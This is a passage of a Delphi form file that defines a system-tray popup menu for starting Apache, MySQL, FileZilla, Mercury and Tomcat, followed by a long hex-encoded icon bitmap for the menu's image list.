puSystray Visible = True OnDblClick = TrayIconDblClick Left = 36 Top = 312 end object puSystray: TPopupMenu Images = ImageList Left = 324 Top = 392 object miShowHide: TMenuItem Caption = 'Show / Hide' Default = True OnClick = miShowHideClick end object N2: TMenuItem Caption = '-' end object ApacheTray: TMenuItem Caption = 'Apache' ImageIndex = 7 object ApacheTrayControl: TMenuItem Caption = 'Start' OnClick = ApacheTrayControlClick end end object MySQLTray: TMenuItem Caption = 'MySQL' ImageIndex = 7 object MySQLTrayControl: TMenuItem Caption = 'Start' OnClick = MySQLTrayControlClick end end object FileZillaTray: TMenuItem Caption = 'FileZilla' ImageIndex = 7 object FileZillaTrayControl: TMenuItem Caption = 'Start' OnClick = FileZillaTrayControlClick end end object MercuryTray: TMenuItem Caption = 'Mercury' ImageIndex = 7 object MercuryTrayControl: TMenuItem Caption = 'Start' OnClick = MercuryTrayControlClick end end object TomcatTray: TMenuItem Caption = 'Tomcat' ImageIndex = 7 object TomcatTrayControl: TMenuItem Caption = 'Start' OnClick = TomcatTrayControlClick end end object N1: TMenuItem Caption = '-' end object miTerminate: TMenuItem Caption = 'Quit' OnClick = miTerminateClick end end object ApplicationEvents: TApplicationEvents OnException = ApplicationEventsException Left = 60 Top = 408 end object ImageList: TImageList Masked = False Left = 188 Top = 309 Bitmap = { 494C010111003000980110001000FFFFFFFFFF10FFFFFFFFFFFFFFFF424D3600 0000000000003600000028000000400000005000000001002000000000000050 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000000000000241CED00241CED00241CED00241CED00241CED00000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000241C ED00241CED00241CED00241CED00241CED00241CED00241CED00241CED00241C ED00000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000241CED00241C ED00241CED00241CED00241CED00241CED00241CED00241CED00241CED00241C ED00241CED000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000241CED00241C ED00241CED00241CED00241CED00241CED00241CED00241CED00241CED00241C ED00241CED000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000241CED00241CED00241C ED00241CED00241CED00241CED00241CED00241CED00241CED00241CED00241C ED00241CED00241CED0000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000241CED00241CED00241C ED00241CED00241CED00241CED00241CED00241CED00241CED00241CED00241C ED00241CED00241CED0000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000241CED00241CED00241C ED00241CED00241CED00241CED00241CED00241CED00241CED00241CED00241C ED00241CED00241CED0000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000241CED00241CED00241C ED00241CED00241CED00241CED00241CED00241CED00241CED00241CED00241C ED00241CED00241CED0000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000241CED00241C ED00241CED00241CED00241CED00241CED00241CED00241CED00241CED00241C ED00241CED000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000241CED00241C ED00241CED00241CED00241CED00241CED00241CED00241CED00241CED00241C ED00241CED000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000241C ED00241CED00241CED00241CED00241CED00241CED00241CED00241CED00241C ED00000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000000000000241CED00241CED00241CED00241CED00241CED00000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000DC9B7300D5835100D17D 4B00DFA37F000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000C4C6F300656BE0005259DC00535BDC005058DA004952DA005960DC00B7BA F000FAFAFE000000000000000000000000000000000000000000000000000000 0000F4ECE500D6BAA200B6845A00AC744500AB724300B27E5300D2B59C00F2EA E30000000000000000000000000000000000E1A78400DFA48100EAC2AB00EAC0 A800DC997100DFA4810000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000C6C8 F300747CE7008997FA008495FF007F90FC007D8EFA007D8DF7007D8BF2005159 DD009B9FEA00000000000000000000000000000000000000000000000000E7D5 C600BA895F00D7BBA300E9DACA00ECE0D100ECE0D100E8D8C800D3B59C00B07A 4D00E2CFBE00000000000000000000000000DB976F00EDC8B300E7B89B00E6B4 9800EAC3AB00DE9C7300DFA68200000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000004CB122004CB122004CB122004CB122004CB12200000000000000 0000000000000000000000000000000000000000000000000000CACCF4007E86 E70096A5FA005A74FF003250FF00304FFF002C49FE002542FA004860F9008694 F4006970E200BDC0F10000000000000000000000000000000000EAD9CB00BE8C 6200E7D5C400E5D2BF00C9A68500B88E6700B68A6500C5A18000E0CCBA00E3D0 BE00AF764800E3D0C0000000000000000000DD9F7900EDCCB700E8BDA300E4B1 9200E6B69A00EAC3AC00DE9C7400E1A987000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000004CB1 22004CB122004CB122004CB122004CB122004CB122004CB122004CB122004CB1 22000000000000000000000000000000000000000000D0D2F500878EE9009FAD FB006781FF00405EFF00405EFF003C59FF003755FF003350FF002846FD004A65 FD008996F600656EE100C1C3F2000000000000000000F7F1EC00C99D7900EAD8 C900E3CDBA00C0946B00BA8C6200CFB09400CFB09400B7895F00B2876100DAC0 AA00E4D1C000B6835900F4ECE60000000000EDCBB600E6B39400EECCB800E9BE A500E5B39400E6B79B00EAC4AD00DE9E7800E1AA880000000000000000000000 00000000000000000000000000000000000000000000000000004CB122004CB1 22004CB122004CB122004CB122004CB122004CB122004CB122004CB122004CB1 22004CB1220000000000000000000000000000000000888EE800A2B2FC00738F FF004F70FF004F6EFF004B69FF004664FF00415EFF003C5AFF003755FF002C4B FF004E67FF008493FA005F66DE000000000000000000E6CFBC00E4CCB900EAD6 C500C7997100BF906600BF906600F7F1EC00F6F0EA00B7895F00B7895F00B589 6300E2CEBB00D9BDA600D9BEA7000000000000000000EDCBB800E6B49800EECD BA00E9BFA500E5B49600E7B99D00EBC6AE00DE9F7900E3AC8B00000000000000 00000000000000000000000000000000000000000000000000004CB122004CB1 22004CB122004CB122004CB122004CB122004CB122004CB122004CB122004CB1 22004CB1220000000000000000000000000000000000848AE600A6BBFF005F7F FF005F7EFF005A79FF005573FF00506EFF004B69FF004664FF00415EFF003B59 FF00314FFF008799FF00565EDD000000000000000000D9B39500EFE1D300D9B5 9500C7986C00C3956900C1936700BF906600BF906600BB8B6300B98A6300B88A 6200CBA78600EADCCC00C2956F00000000000000000000000000EECDB900E6B7 9900EECEBB00E9C0A700E8BDA300ECC8B300DFA48100DCA27F00000000000000 000000000000000000000000000000000000000000004CB122004CB122004CB1 22004CB122004CB122004CB122004CB122004CB122004CB122004CB122004CB1 22004CB122004CB122000000000000000000000000009094E800ABBEFF006D8D FF006989FF006583FF005F7EFF005A79FF005574FF00506FFF004B69FF004663 FF003F5CFF008A9BFF006269DF000000000000000000DAB39300F2E4D900D1A5 7A00C5996B00C4976A00C4966900FAF6F200F3EAE100C2956D00BE8F6500BE8F 6400C0956D00EFE3D500C190670000000000000000000000000000000000EECE BA00E6B79C00EFCFBC00EECEBA00E2AE8C00D29B7B008C8C8C00EEEEEE000000 000000000000000000000000000000000000000000004CB122004CB122004CB1 22004CB122004CB122004CB122004CB122004CB122004CB122004CB122004CB1 22004CB122004CB12200000000000000000000000000959AE900B1C4FF007698 FF007393FF006E8EFF006989FF006583FF005F7EFF005A79FF005573FF004F6E FF004867FF0090A1FF00686FE1000000000000000000E1BB9D00F2E5DA00D1A6 7E00CC9D7100C79A6C00C5986B00E2CCB600F8F3EE00F6EEE800D9BDA100C294 6800C59B7100F0E2D600C7997100000000000000000000000000000000000000 0000EECEBB00E7B99C00E6B69800D8A98C00D2D2D200B5B5B500898989008989 89008787870097979700C8C8C80000000000000000004CB122004CB122004CB1 22004CB122004CB122004CB122004CB122004CB122004CB122004CB122004CB1 22004CB122004CB12200000000000000000000000000989DEA00B8CDFF007DA0 FF007C9DFF007899FF007393FF006E8EFF006989FF006583FF00607EFF005978 FF004F70FF0098AAFF006B72E2000000000000000000EACAB000F3E5D900DFBB 9E00CFA07500CD9E7200F5EBE300E4CBB400E7D3BF00FBF8F600E5D3BF00C498 6B00D6B49100EEE0D200D3AC8B00000000000000000000000000000000000000 000000000000EFD0BD00E1B89E0094949400C7C7C700CCCCCC00C7C7C700C6C6 C600C3C3C300C0C0C00089898900C8C8C800000000004CB122004CB122004CB1 22004CB122004CB122004CB122004CB122004CB122004CB122004CB122004CB1 22004CB122004CB12200000000000000000000000000A7ABEE00BCCDFC009CBB FF0081A5FF0081A2FF007C9EFF007899FF007493FF006F8EFF006989FF006080 FF007893FF009EADFB007F85E5000000000000000000F5E4D600F4E3D400EFDC CD00D5A87E00D0A07700FBF8F500FCF8F500FCF8F500FBF8F500D1A88100CFA4 7B00EAD5C300EAD4C200E9D4C200000000000000000000000000000000000000 0000000000000000000000000000E1E1E10093939300D4D4D400C8C8C800BCBC BC00BABABA00C2C2C200C4C4C4009999990000000000000000004CB122004CB1 22004CB122004CB122004CB122004CB122004CB122004CB122004CB122004CB1 22004CB1220000000000000000000000000000000000DFE1F800AFB5F100C1D1 FC00A0BFFF0086AAFF0085A7FF0081A2FF007C9DFF007898FF006F90FF0085A1 FF00ACBAFB009097EA00D2D3F6000000000000000000FDF9F500F1D3BB00F6E9 DD00ECD8C600D7AC8100DCBB9A00F6ECE300F5ECE200E4C8AE00D2A77B00E6CE BA00F1E2D500DFBB9C00FAF4F000000000000000000000000000000000000000 00000000000000000000000000000000000097979700DDDDDD00C5C5C500AAAA AA00A8A8A800ACACAC00D7D7D7008989890000000000000000004CB122004CB1 22004CB122004CB122004CB122004CB122004CB122004CB122004CB122004CB1 22004CB122000000000000000000000000000000000000000000E0E1F800B1B7 F000C4D4FC00A3C2FF008BAFFF0089ABFF0084A7FF007EA0FF0091AEFF00B4C3 FB009CA2ED00D5D6F60000000000000000000000000000000000FBF1E900F3D4 BB00F7EADF00EEDED000E3C1A700D8AE8900D7AC8600DDBB9C00EBD6C700F3E6 D900E4C1A300F5E9DF0000000000000000000000000000000000000000000000 0000000000000000000000000000000000009A9A9A00E4E4E400CFCFCF00ACAC AC00000000008E8E8E008C8C8C008C8C8C000000000000000000000000004CB1 22004CB122004CB122004CB122004CB122004CB122004CB122004CB122004CB1 220000000000000000000000000000000000000000000000000000000000E0E1 F800B2B9F200C2D3FC00C1D6FF00BDD1FF00BBCFFF00B9CEFF00B7C8FC00989F ED00C3C5F200000000000000000000000000000000000000000000000000FCF2 EA00F6DAC300F9E9DC00F6E8DD00F3E5DA00F3E5DA00F5E7DC00F5E4D600EDCD B400F8ECE3000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000ABABAB00E2E2E200E7E7E700B9B9 B900939393000000000000000000000000000000000000000000000000000000 0000000000004CB122004CB122004CB122004CB122004CB12200000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000E1E2F900AFB3EF00A6AAED00A5AAED00A4A8ED009EA4EB00A5A9ED00D8D9 F700FCFCFE000000000000000000000000000000000000000000000000000000 0000FEFAF700FCEDE100F8DEC900F6D9C100F5D7BF00F5D9C300F8E8DC00FDF8 F500000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000D4D4D4009F9F9F00E4E4E400EEEE EE00969696000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000D4D4D400ACACAC009D9D 9D009B9B9B000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000CECE FA00F9F9FE00000000000000000000000000000000000000000000000000F8F8 FE00C6C5F8000000000000000000000000000000000000000000000000000000 000000000000F7FAF700F9FBF900000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000D1D0FB004F4C F2004140ED00F9F9FE0000000000000000000000000000000000F8F8FE002725 E400312FEA00C6C5F80000000000000000000000000000000000000000000000 0000F7FAF80037833D00347D3A00F9FBF9000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000D3D3FC005856F5006361 FA005855F6004341ED00F9F9FE000000000000000000F9F8FE002E2DE600413F F1004C4AF600312FEA00C6C5F80000000000000000000000000000000000F8FB F800408E470054A35C004F9F5700337D3900F8FBF90000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000E3E3FD005B58F6006562 FA007170FF005956F6004442EE00F9F9FE00F9F9FE003734E9004745F2006362 FF004A48F4002F2DE900DAD9FA00000000000000000000000000F8FBF800499A 51005BAC640077CA820074C87E0051A05900347E3A00F8FBF900000000000000 0000000000000000000000000000000000000000000000000000000000000000 000000000000EAF5EB0097CB9B004FA156004C99540091B89600E8EFE9000000 0000000000000000000000000000000000000000000000000000000000000000 000000000000E5E5FB00807FE6002E2ACD002F2AC200857FCD00E7E5F3000000 0000000000000000000000000000000000000000000000000000E3E3FD005B59 F6006663FA007471FF005A58F6004543EE00403EEC00504DF4006867FF00504E F5003634EB00DBDBFB00000000000000000000000000F8FCF90051A65A0063B5 6D007ECE89007BCC870076CA810076C9810052A25A00357F3B00F9FBF9000000 0000000000000000000000000000000000000000000000000000000000000000 00000000000099D39D0091CB9500A1D4A30099D09B008CC2900092BA97000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000007F80F2007C7CEE009093F5008588F3007978E400857FD0000000 000000000000000000000000000000000000000000000000000000000000E3E3 FD005C5AF6006764FA007472FF007370FF00706EFF006E6CFF005755F7003F3D EE00DCDCFB00000000000000000000000000F9FCFA0059B063006BBD760084D2 90007AC9850060B26A0063B46D0078C9830078CB820053A35C0036803C00F9FB F900000000000000000000000000000000000000000000000000000000000000 00000000000058BD5E00B4DCB5008ACC8B0083CA85009AD09D004E9D55000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000002A2CF200A9ACF8007077F500676CF4008688F3002F2AC7000000 0000000000000000000000000000000000000000000000000000000000000000 0000E4E3FD005D5BF7007976FF005956FF005754FF007270FF004846F000DEDE FC0000000000000000000000000000000000D3ECD6006CBD760079C9860080CE 8D0053A75C00B2D6B5009CC9A0005CAD67007CCC860079CB850054A45D003781 3D00F9FBF9000000000000000000000000000000000000000000000000000000 0000000000005AC25F00C0E1C00095D2950088CC8900A2D4A40050A658000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000002A2DFA00B8BCFB007E86F8006E74F5009194F5002D2AD3000000 0000000000000000000000000000000000000000000000000000000000000000 0000FAFAFF005E5BF6007D79FF005E5BFF005B58FF007674FF004744EF00F9F9 FE000000000000000000000000000000000000000000D9EFDC006CBD75006DC0 7900B5DBB900000000000000000098C79D005EAE68007DCD89007CCD870056A5 5F0038823E00F9FBF90000000000000000000000000000000000000000000000 0000000000009CDC9F0097D69B00C1E2C200BADFBB0092CC950098CE9B000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000007F82FF008081FD00B9BCFB00B1B5FA007D7DF000807FEB000000 000000000000000000000000000000000000000000000000000000000000FAFA FF006865F900706DFB00807EFF007E7BFF007C79FF007977FF005E5CF7004946 EF00F9F9FE000000000000000000000000000000000000000000D5EDD800BEE2 C3000000000000000000000000000000000099C89D005FAF69007FCE8A007ECE 890057A6600039833F00F9FBF900000000000000000000000000000000000000 000000000000EBF8EC009CDC9F005AC35F0059C05F009AD69E00EAF6EB000000 0000000000000000000000000000000000000000000000000000000000000000 000000000000E5E6FF007F82FF002A2DFC002A2DF7007F80F600E5E5FC000000 0000000000000000000000000000000000000000000000000000FBFAFF00706D FC007774FD008682FF007673FC006462F800605DF7006D6AFA007B79FF00605D F7004A47EF00F9F9FE0000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000099C89E0060B06A0081CF 8D007FCF8B0058A7610039854000F9FBF9000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000FBFBFF007572FE007D7A FE008A87FF007C79FD006C69FB00E5E4FE00E4E4FE00615EF8006E6CFA007D7A FF00615FF7004B48F000FBFBFF00000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000099C99E0062B2 6C0082D18F007AC8850057A660009FC4A2000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000EEEEFF007A77FF00817E FF00817EFE007471FD00E6E6FE000000000000000000E4E4FE00625FF8006F6D FB007E7CFF00625FF800B0AFF800FEFEFF000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000009ACA 9F0063B36D005FAF6900A5CBA900000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000EEEEFF007A77 FF007976FE00E7E7FF0000000000000000000000000000000000E4E4FE006461 F8006A68F9008E8CF700E3E2FD00000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 00009ACA9F00A5CEA90000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000EEEE FF00E8E8FF00000000000000000000000000000000000000000000000000E5E4 FE00B8B8FC00D7D6FD0000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000F9F9FF000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000808080008080 8000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000808080008080 8000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000FF00000080000000 80008080800000000000000000000000000000000000000000000000FF008080 8000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000FF00000080000000 8000808080000000000000000000000000000000000000000000000000000000 FF0080808000000000000000000000000000000000000000FF00000080000000 800000008000808080000000000000000000000000000000FF00000080000000 8000808080000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000FF00000080000000 80000000800080808000000000000000000000000000000000000000FF000000 800000008000808080000000000000000000000000000000FF00000080000000 8000000080000000800080808000000000000000FF0000008000000080000000 8000000080008080800000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000FF000000 8000000080000000800000008000808080008080800000008000000080000000 80000000800000008000808080000000000000000000000000000000FF000000 8000000080000000800000008000808080000000800000008000000080000000 8000000080008080800000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 FF00000080000000800000008000000080000000800000008000000080000000 8000000080008080800000000000000000000000000000000000000000000000 FF00000080000000800000008000000080000000800000008000000080000000 8000808080000000000000000000000000000000000000000000000000000000 0000000000000510061A174B1C8024762BD5216E29D511391680030A041A0000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000161A010067800400A2D5050097D506004E8002000D1A0000 0000000000000000000000000000000000000000000000000000000000000000 00000000FF000000800000008000000080000000800000008000000080000000 8000808080000000000000000000000000000000000000000000000000000000 00000000FF000000800000008000000080000000800000008000000080008080 8000000000000000000000000000000000000000000000000000000000000000 0000000000001A531D8090CB94FFA0D4A2FF98D09AFF8BC18FFF123B17800000 0000000000000000000000000000000000000000000000000000000000000000 000000000000000173807B7BEEFF8F92F5FF8487F3FF7877E4FF060050800000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000800000008000000080000000800000008000000080008080 8000000000000000000000000000000000000000000000000000000000000000 0000000000000000800000008000000080000000800000008000808080000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000002D9233D5B3DCB4FF89CC8AFF82CA84FF99D09CFF23722BD50000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000002C8D5A8ABF8FF6F76F5FF666BF4FF8587F3FF05009CD50000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000FF0000008000000080000000800000008000000080008080 8000000000000000000000000000000000000000000000000000000000000000 0000000000000000FF0000008000000080000000800000008000808080000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000002F9734D5BFE1BFFF94D294FF87CC88FFA1D4A3FF267B2DD50000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000003D0D5B7BBFBFF7D85F8FF6D73F5FF9093F5FF0300A9D50000 0000000000000000000000000000000000000000000000000000000000000000 00000000FF000000800000008000000080000000800000008000000080008080 8000000000000000000000000000000000000000000000000000000000000000 00000000FF000000800000008000000080000000800000008000808080000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000001D5D208096D69AFFC0E2C1FFB9DFBAFF91CC94FF184E1C800000 0000000000000000000000000000000000000000000000000000000000000000 000000000000000380807F80FDFFB8BBFBFFB0B4FAFF7C7CF0FF01006C800000 0000000000000000000000000000000000000000000000000000000000000000 FF00000080000000800000008000808080008080800000008000000080000000 8000808080000000000000000000000000000000000000000000000000000000 FF00000080000000800000008000808080000000800000008000000080008080 8000000000000000000000000000000000000000000000000000000000000000 0000000000000613061A1D5D20802F9834D52E9534D51B561E800511061A0000 0000000000000000000000000000000000000000000000000000000000000000 00000000000000011A1A000380800003D2D50003CDD5000177800000171A0000 00000000000000000000000000000000000000000000000000000000FF000000 800000008000000080008080800000000000000000000000FF00000080000000 80000000800080808000000000000000000000000000000000000000FF000000 8000000080000000800080808000000000000000FF0000008000000080000000 8000808080000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 FF00000080000000000000000000000000000000000000000000000000000000 FF000000800000008000000080000000000000000000000000000000FF000000 800000008000808080000000000000000000000000000000FF00000080000000 8000000080008080800000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 00000000FF00000080000000FF00000000000000000000000000000000000000 FF000000800000000000000000000000000000000000000000000000FF000000 8000000080000000800000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 FF00000080000000FF0000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 